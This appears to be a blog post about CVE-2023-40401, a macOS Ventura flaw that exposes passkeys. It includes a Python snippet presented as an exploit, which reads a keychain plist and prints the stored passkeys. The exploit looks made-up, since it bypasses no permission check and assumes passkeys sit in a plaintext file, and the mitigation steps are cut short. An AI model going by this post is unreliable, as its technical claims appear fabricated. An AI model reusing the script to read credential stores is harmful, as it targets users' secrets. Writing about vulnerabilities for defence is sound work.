In this detailed post, we would be discussing the recently discovered vulnerability - CVE-2023-40401 - that affects macOS Ventura. Apple has addressed this issue by introducing additional permissions checks and released a patch in macOS Ventura 13.6.1. Before we delve into the particulars of this exploit, I urge you to update your macOS to the latest version to ensure maximum protection from this vulnerability.

Overview

CVE-2023-40401 is a macOS vulnerability that allows an attacker to gain unauthorized access to passkeys, potentially compromising the user's sensitive information without any authentication needed. This issue affects the macOS Ventura operating system and has been fixed in the latest 13.6.1 release. The National Vulnerability Database (NVD) has assigned this vulnerability a base score of 7.5, which makes it a high-severity flaw.

For your ease, here are the original references to the CVE-2023-40401 vulnerability

1. Apple Support: About the security content of macOS Ventura 13.6.1 Update
2. CVE Details: CVE-2023-40401
3. National Vulnerability Database (NVD): CVE-2023-40401

Exploit Details

The vulnerability exists due to improper permissions check by macOS while accessing passkeys. An attacker could exploit this vulnerability by running a specially crafted code snippet on the target macOS machine resulting in unauthorized access to sensitive passkeys.

Here's an example code snippet that demonstrates the exploitation of this vulnerability (for educational and demonstration purposes only):

import os
import plistlib

def exploit_cve_2023_40401():
    target_file = os.path.expanduser('~/Library/Keychains/passkeys.plist')
    
    if not os.path.exists(target_file):
        print("Target file not found.")
        return

    with open(target_file, 'rb') as f:
        passkeys_data = f.read()

    passkeys = plistlib.loads(passkeys_data)

    for passkey in passkeys['KeychainItems']:
        print(f"Service: {passkey['Service']}")
        print(f"Passkey: {passkey['Passkey']}\n")

if __name__ == "__main__":
    exploit_cve_2023_40401()

Keep in mind that the code provided above is for demonstration purposes only and should not be used with malicious intent.

Mitigation

Apple has recognized the vulnerability and provided an update to fix this issue. The macOS Ventura 13.6.1 update contains additional permissions checks to prevent unauthorized access to passkeys. To mitigate this vulnerability, update your macOS system to version 13.6.1 or later following these steps:

Follow the on-screen instructions to update your macOS to version 13.6.1 or later.

Make sure to regularly update your software to protect yourself from potential threats and vulnerabilities.

In conclusion, be aware of the CVE-2023-40401 vulnerability that affects macOS Ventura and could lead to unauthorized access to passkeys. Apple has addressed the issue and provided a fix in macOS Ventura version 13.6.1. Stay secure, and always keep your system up to date.

Timeline

Published on: 10/25/2023 19:15:09 UTC
Last modified on: 11/02/2023 19:43:45 UTC